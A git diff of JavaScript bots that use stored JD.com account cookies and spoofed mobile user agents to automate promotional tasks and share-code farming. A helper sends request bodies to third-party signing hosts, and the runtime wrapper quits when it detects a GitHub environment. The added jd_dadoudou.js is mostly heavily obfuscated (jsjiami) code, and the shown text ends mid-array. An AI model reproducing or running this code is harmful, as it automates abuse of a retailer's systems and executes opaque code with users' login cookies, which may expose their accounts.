JSON.stringify({"activityId":encodeActivityId,"pageNum":"-1","innerAnchor":"","innerExtId":"","hideTopFoot":"","innerLinkBase64":"","innerIndex":"0","focus":"","forceTop":"","addressId":"4091160336","posLng":"","posLat":"","homeLng":"","homeLat":"","gps_area":"","headId":"","headArea":"","warehouseId":"","dcId":"","babelChannel":"ttt1","mitemAddrId":"","geo":{"lng":"","lat":""},"flt":"","jda":"168871293.1632069151379637759921.1632069151.1634449233.1634455108.187","topNavStyle":"","url":`https://prodev.m.jd.com/mall/active/${encodeActivityId}/index.html?babelChannel=ttt1&tttparams=s1AJNojeyJsbmciOiIxMTcuMDA2NTYzIiwiZ0xhdCI6IjQwLjE4OTkzIiwibGF0IjoiNDAuMTgxOTM0IiwiZ0xuZyI6IjExNy4wMTAwNzEiLCJncHNfYXJlYSI6IjFfMjk1M181NDA0NF8wIiwidW5fYXJlYSI6IjFfMjk1M181NDA0NF8wIn70%3D&lng=&lat=&sid=${sid}&un_area=`,"fullUrl":`https://prodev.m.jd.com/mall/active/${encodeActivityId}/index.html?babelChannel=ttt1&tttparams=s1AJNojeyJsbmciOiIxMTcuMDA2NTYzIiwiZ0xhdCI6IjQwLjE4OTkzIiwibGF0IjoiNDAuMTgxOTM0IiwiZ0xuZyI6IjExNy4wMTAwNzEiLCJncHNfYXJlYSI6IjFfMjk1M181NDA0NF8wIiwidW5fYXJlYSI6IjFfMjk1M181NDA0NF8wIn70%3D&lng=&lat=&sid=${sid}&un_area=`,"autoSkipEmptyPage":false,"paginationParam":"2","paginationFlrs":paginationFlrs,"transParam":`{\"bsessionId\":\"\",\"babelChannel\":\"ttt1\",\"actId\":\"${activityId}\",\"enActId\":\"${encodeActivityId}\",\"pageId\":\"${pageId}\",\"encryptCouponFlag\":\"1\",\"sc\":\"apple\",\"scv\":\"10.1.6\",\"requestChannel\":\"h5\",\"jdAtHomePage\":\"0\"}`,"siteClient":"apple","siteClientVersion":"10.1.6","matProExt":{"unpl":"V2_ZzNtbUEAR0B1CUBWeRkLVWIGF1pKX0IXIVpOUi8eWFJkBxpbclRCFnUURlVnGVgUZwMZWEtcRxBFCEZkexhdBmIKFFxGXnMlfQAoVDYZMgYJAF8QD2dAFUUJdlR8G1wBZwAXXENRRhFxCU9QextZBWQzIl1EZ3MldDhHZHopF2tmThJaQFdHFXYNR1V9HFgBZgoWXUBSQxZFCXZX|V2_ZzNtbRYEREB1X0VTfU5fAGIHEwhLUUZCfVgVAX0aCVJlVhUPclRCFnUURlVnGV0UZwYZXkVcRxdFCEJkexhdBW8KF1xGVnMlfGZFV38dXwFiBREzQlZCe0ULRmR6KVUBYgoSXEUHShJ2X0YDLx8PADQKFwhAB0MSIg4RAy5LCwBhARpcFwNzJXwJdlJ5EV0DYAEiCBwIFVAlUB0MK0YKWD8DIlxyVnMURV4oVHoYXQVmAxRcRBpKEXABRlV8SVUCZFQSChZREBAmAUMBeUlcAjAFRQoXBRQQcwpOVS5NbARXAw%3d%3d"},"userInterest":{"whiteNote":"0_0_0","payment":"0_0_0","plusNew":"0_0_0","plusRenew":"0_0_0"}}) + let options = { + url: `${JD_API_HOST}?client=wh5&clientVersion=1.0.0&functionId=qryH5BabelFloors`, + body: `body=${encodeURIComponent(body)}&screen=1242*2208&sid=${sid}&uuid=${randomString(40)}&area=&osVersion=15.0.1&d_model=iphone11,2`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://prodev.m.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://prodev.m.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + return new Promise(async resolve => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getshareCode API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + for (let key of Object.keys(data.floorList)) { + let vo = data.floorList[key] + if (vo.boardParams && (vo.boardParams.taskCode === "2gWnJADG8JXMpp1WXiNHgSy4xUSv" || vo.boardParams.taskCode === "2wPBGptSUXNs3fxqgAtrV5MwkYEa" || vo.boardParams.taskCode === "u4eyHS91t3fV6HRyBCg9k5NTUid" || vo.boardParams.taskCode === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y" || vo.boardParams.taskCode === "4WHSXEqKZeGQZeP9SvqxePQpBkpS" || vo.boardParams.taskCode === "4PCdWdiKNwRw1PmLaFzJmTqRBq4v" || vo.boardParams.taskCode === "4JcMwRmGJUXptBYzAfUDkKTtgeUs" || vo.boardParams.taskCode === "4ZmB6jqmJjRWPWxjuq22Uf17CuUQ" || vo.boardParams.taskCode === "QGPPJyQPhSBJ57QcU8PdMwWwwCR" || vo.boardParams.taskCode === "tBLY4YL4LkBwWj9KKq9BevHHvcP" || vo.boardParams.taskCode === "4UFHr2rSLyS912riDWih6B8gMXkf" || vo.boardParams.taskCode === "3dw9N5yB18RaN9T1p5dKHLrWrsX")) { + await getTaskInfo("1", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } else if (vo.boardParams && vo.boardParams.taskCode === "3PX8SPeYoQMgo1aJBZYVkeC7QzD3") { + $.projectCode = vo.boardParams.projectCode + $.taskCode = vo.boardParams.taskCode + } + } + // await getTaskInfo("2", $.projectCode, $.taskCode) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function aha_card_list(type, projectId, assignmentId) { + return new Promise(resolve => { + $.post(taskUrl('browse_aha_task/aha_card_list', {"type":type,"projectId":projectId,"assignmentId":assignmentId,"agid":agid,"firstStart":1}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} aha_card_list API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function taskUrl(functionId, body) { + if (functionId === "interactive_info") { + body = `[${encodeURIComponent(JSON.stringify(body))}]` + } else { + body = encodeURIComponent(JSON.stringify(body)) + } + let function_Id; + if (functionId.indexOf("/") > -1) { + function_Id = functionId.split("/")[1] + } else { + function_Id = functionId + } + return { + url: `${JD_API_HOST}${functionId}?functionId=${function_Id}&appid=contenth5_common&body=${body}&client=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://prodev.m.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://prodev.m.jd.com/", + "Cookie": cookie + } + } +} +function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}client.action?functionId=${functionId}`, + body, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "j-e-c": "", + "Accept": "*/*", + "j-e-h": "", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-Hans-CN;q=1", + "User-Agent": "JD4iPhone/167841 (iPhone; iOS; Scale/3.00)", + "Referer": "", + "Cookie": cookie + } + } +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"apple", + "clientVersion":"10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_dadoudou.js b/jd_dadoudou.js new file mode 100644 index 0000000..4390a4b --- /dev/null +++ b/jd_dadoudou.js @@ -0,0 +1,14 @@ +/* +活动名称:LZ店铺游戏 +活动链接:https://lzkj-isv.isvjcloud.com/wxgame/activity/entry.html?activityId=<活动id> +环境变量:WXGAME_ACT_ID // 活动id + +默认助力第一个号 +7 7 7 7 7 jd_dadoudou.js +*/ + +var _0xod6='jsjiami.com.v6',_0xod6_=['‮_0xod6'],_0x1cd8=[_0xod6,'\x77\x35\x46\x4a\x66\x30\x63\x3d','\x77\x71\x66\x44\x6a\x38\x4b\x6b\x4e\x63\x4f\x67\x42\x63\x4b\x69\x77\x35\x6b\x3d','\x77\x36\x4d\x6a\x64\x63\x4b\x32\x77\x37\x4e\x4a\x50\x38\x4f\x39','\x77\x35\x48\x43\x76\x63\x4f\x53\x4c\x73\x4b\x36\x47\x38\x4f\x50\x43\x67\x3d\x3d','\x62\x45\x62\x44\x6f\x73\x4b\x52\x41\x41\x3d\x3d','\x4e\x56\x49\x59\x77\x34\x56\x32','\x77\x70\x6b\x66\x77\x70\x68\x34\x77\x35\x77\x3d','\x77\x36\x66\x43\x69\x52\x34\x4e\x54\x63\x4b\x2f\x50\x47\x30\x3d','\x77\x36\x6c\x47\x4a\x41\x59\x3d','\x77\x35\x59\x42\x77\x37\x33\x44\x6a\x44\x73\x65\x57\x38\x4f\x67','\x77\x36\x4c\x44\x6c\x38\x4b\x49\x41\x73\x4b\x35','\x77\x34\x6e\x43\x6b\x63\x4f\x4c\x77\x72\x38\x39','\x77\x34\x7a\x44\x6f\x63\x4b\x6b\x4c\x38\x4b\x33','\x77\x71\x6e\x44\x6a\x6e\x48\x44\x75\x79\x51\x3d','\x61\x47\x2f\x44\x6d\x57\x50\x44\x74\x67\x3d\x3d','\x53\x58\x37\x44\x67\x45\x6f\x35','\x4f\x6e\x30\x78\x77\x72\x58\x43\x6f\x67\x3d\x3d','\x77\x6f\x44\x44\x6e\x52\x62\x44\x75\x63\x4b\x56\x4f\x67\x3d\x3d','\x77\x37\x35\x58\x50\x41\x34\x32','\x77\x36\x4c\x44\x70\x63\x4b\x69\x45\x6d\x7a\x44\x6e\x4d\x4b\x76','\x4c\x46\x51\x4d\x62\x56\x30\x3d','\x55\x6e\x7a\x44\x6f\x58\x76\x44\x6b\x38\x4b\x6a','\x77\x71\x56\x63\x77\x37\x37\x44\x73\x38\x4b\x78','\x61\x38\x4b\x4d\x61\x38\x4f\x41\x46\x67\x3d\x3d','\x47\x4d\x4f\x49\x50\x31\x30\x3d','\x77\x6f\x39\x6c\x77\x35\x54\x44\x69\x73\x4b\x48','\x77\x72\x50\x44\x6e\x73\x4b\x71\x46\x4d\x4f\x50','\x77\x35\x33\x44\x71\x6c\x70\x61\x41\x41\x3d\x3d','\x4b\x31\x55\x55\x77\x37\x74\x31','\x77\x6f\x48\x44\x6f\x44\x7a\x44\x71\x63\x4b\x6d','\x77\x36\x77\x4a\x77\x37\x7a\x44\x6b\x44\x45\x3d','\x77\x70\x6e\x44\x68\x54\x54\x44\x6e\x67\x76\x44\x6a\x38\x4f\x42\x77\x71\x6b\x3d','\x63\x63\x4b\x34\x50\x73\x4f\x63\x4e\x56\x4c\x43\x6d\x4d\x4f\x37\x77\x36\x4c\x43\x6d\x73\x4f\x46','\x4e\x4d\x4f\x49\x49\x6b\x35\x4b','\x77\x37\x2f\x43\x72\x42\x48\x44\x6d\x73\x4f\x79\x46\x51\x3d\x3d','\x64\x47\x4c\x43\x68\x41\x3d\x3d','\x35\x4c\x32\x70\x35\x61\x57\x4e\x37\x37\x36\x6a','\x77\x34\x59\x42\x77\x37\x72\x44\x68\x67\x3d\x3d','\x77\x34\x77\x4a\x77\x36\x33\x44\x6a\x42\x6b\x57\x52\x63\x4f\x78','\x77\x35\x49\x4a\x77\x36\x41\x3d','\x77\x35\x76\x43\x74\x63\x4f\x46\x4a\x41\x3d\x3d','\x62\x58\x54\x43\x72\x53\x62\x44\x68\x38\x4f\x67\x53\x63\x4f\x49','\x4c\x45\x45\x44\x64\x6b\x77\x69\x64\x67\x4d\x70','\x59\x63\x4b\x32\x48\x38\x4f\x4e','\x55\x6d\x7a\x44\x6f\x48\x72\x44\x67\x73\x4b\x6c\x77\x36\x52\x77\x77\x35\x63\x3d','\x77\x72\x6a\x44\x71\x54\x62\x44\x6e\x38\x4b\x62','\x77\x70\x6e\x44\x76\x63\x4b\x44\x45\x73\x4f\x54','\x77\x72\x41\x78\x77\x72\x30\x3d','\x77\x36\x2f\x43\x67\x4d\x4f\x78\x77\x72\x45\x6d\x77\x6f\x4c\x43\x74\x73\x4b\x62\x77\x35\x7a\x44\x74\x73\x4b\x48\x4e\x67\x3d\x3d','\x77\x72\x50\x44\x74\x33\x50\x44\x68\x77\x6f\x3d','\x4d\x30\x73\x48','\x77\x37\x44\x43\x70\x4d\x4f\x77\x77\x70\x38\x31','\x77\x36\x50\x44\x71\x4d\x4b\x56\x4c\x38\x4b\x66','\x77\x34\x48\x43\x73\x42\x62\x44\x67\x73\x4f\x30','\x77\x37\x78\x2b\x77\x36\x51\x30\x77\x71\x72\x6b\x75\x72\x66\x6c\x69\x62\x66\x6c\x72\x62\x6e\x6d\x69\x59\x49\x3d','\x61\x38\x4b\x68\x4e\x41\x4c\x43\x6f\x41\x3d\x3d','\x77\x36\x4c\x44\x6d\x73\x4b\x44\x49\x63\x4b\x48','\x77\x71\x6a\x44\x68\x79\x58\x44\x6b\x7a\x30\x3d','\x77\x35\x6e\x43\x70\x63\x4b\x43\x77\x71\x2f\x43\x68\x51\x3d\x3d','\x55\x7a\x42\x4a\x52\x63\x4f\x37\x77\x36\x70\x67','\x56\x63\x4f\x7a\x77\x6f\x58\x43\x6f\x4d\x4b\x59\x61\x6a\x50\x43\x74\x38\x4f\x39\x63\x67\x3d\x3d','\x77\x6f\x58\x43\x74\x32\x66\x44\x6b\x4d\x4b\x56','\x77\x34\x62\x43\x69\x79\x44\x43\x76\x46\x45\x3d','\x61\x73\x4b\x51\x66\x73\x4f\x34\x41\x51\x3d\x3d','\x77\x71\x56\x43\x77\x35\x4c\x44\x6a\x4d\x4b\x34','\x77\x34\x38\x6a\x51\x38\x4b\x6e\x77\x34\x77\x3d','\x77\x37\x6e\x43\x70\x63\x4f\x4a\x77\x72\x59\x33','\x4f\x38\x4f\x6b\x4e\x30\x4c\x44\x68\x41\x3d\x3d','\x5a\x73\x4b\x51\x54\x38\x4b\x61\x50\x38\x4b\x50\x77\x34\x70\x70\x77\x36\x45\x4d\x47\x45\x70\x66','\x77\x71\x37\x43\x6c\x55\x72\x44\x6c\x67\x3d\x3d','\x51\x7a\x7a\x43\x6a\x63\x4b\x56\x77\x35\x4a\x69\x77\x6f\x35\x69\x50\x56\x64\x73\x77\x71\x37\x43\x6c\x69\x62\x43\x6a\x55\x4e\x79\x4b\x38\x4f\x70\x77\x70\x59\x77\x77\x35\x2f\x43\x6d\x63\x4b\x48\x77\x72\x33\x44\x75\x52\x41\x43\x44\x43\x7a\x44\x6c\x73\x4f\x2f\x55\x42\x33\x43\x6f\x38\x4f\x46\x77\x35\x55\x36\x77\x70\x76\x44\x6b\x79\x67\x69\x77\x36\x50\x43\x76\x67\x49\x75\x77\x70\x4e\x77\x77\x6f\x45\x64\x77\x35\x31\x57\x49\x48\x4a\x69\x77\x70\x35\x75\x59\x38\x4b\x7a\x42\x51\x52\x75\x77\x72\x58\x44\x71\x77\x35\x39\x77\x36\x4c\x43\x74\x56\x54\x44\x6b\x4d\x4b\x46\x77\x36\x39\x34\x77\x37\x74\x6a\x77\x71\x6a\x43\x71\x6e\x6a\x44\x67\x38\x4b\x56\x64\x4d\x4b\x6b\x77\x37\x38\x42\x50\x45\x51\x54\x57\x4d\x4b\x35\x77\x37\x35\x6a\x77\x71\x6c\x74\x66\x79\x44\x44\x72\x73\x4f\x70\x77\x71\x59\x61\x77\x35\x4c\x44\x67\x4d\x4f\x4f\x77\x35\x51\x48\x57\x79\x72\x44\x68\x6c\x78\x38\x43\x68\x6b\x50\x4d\x73\x4f\x2f\x77\x34\x77\x63\x44\x41\x37\x43\x67\x41\x4e\x37\x59\x33\x66\x44\x68\x44\x74\x48\x77\x6f\x62\x43\x6a\x44\x77\x76\x59\x63\x4f\x33\x54\x73\x4f\x63\x66\x51\x72\x43\x6f\x63\x4b\x65\x77\x34\x6b\x78\x77\x36\x70\x64\x77\x36\x76\x43\x6a\x63\x4b\x39\x77\x34\x76\x43\x72\x73\x4b\x6c\x77\x34\x34\x64\x4e\x57\x77\x5a\x47\x4d\x4b\x51\x77\x34\x62\x43\x75\x46\x6e\x43\x6a\x4d\x4f\x43','\x57\x4d\x4b\x64\x58\x52\x6c\x69','\x77\x70\x44\x44\x76\x31\x72\x44\x74\x6a\x34\x3d','\x77\x37\x2f\x43\x68\x77\x6f\x3d','\x35\x4c\x79\x54\x35\x61\x65\x51\x37\x37\x32\x4b','\x77\x36\x4e\x4f\x4d\x77\x77\x73\x44\x55\x73\x41','\x77\x70\x33\x44\x67\x77\x6b\x3d','\x59\x58\x37\x44\x75\x63\x4b\x74\x4e\x4d\x4b\x34\x4e\x73\x4b\x44','\x77\x35\x6a\x43\x73\x63\x4f\x46','\x77\x36\x41\x68\x63\x73\x4b\x36\x77\x34\x78\x4f\x4c\x63\x4f\x72\x77\x71\x74\x56\x77\x70\x4d\x3d','\x77\x35\x62\x43\x70\x38\x4f\x2f\x4b\x73\x4b\x77\x48\x77\x3d\x3d','\x77\x71\x37\x43\x6c\x55\x44\x44\x67\x73\x4b\x4e\x41\x73\x4f\x47\x77\x6f\x2f\x43\x71\x4d\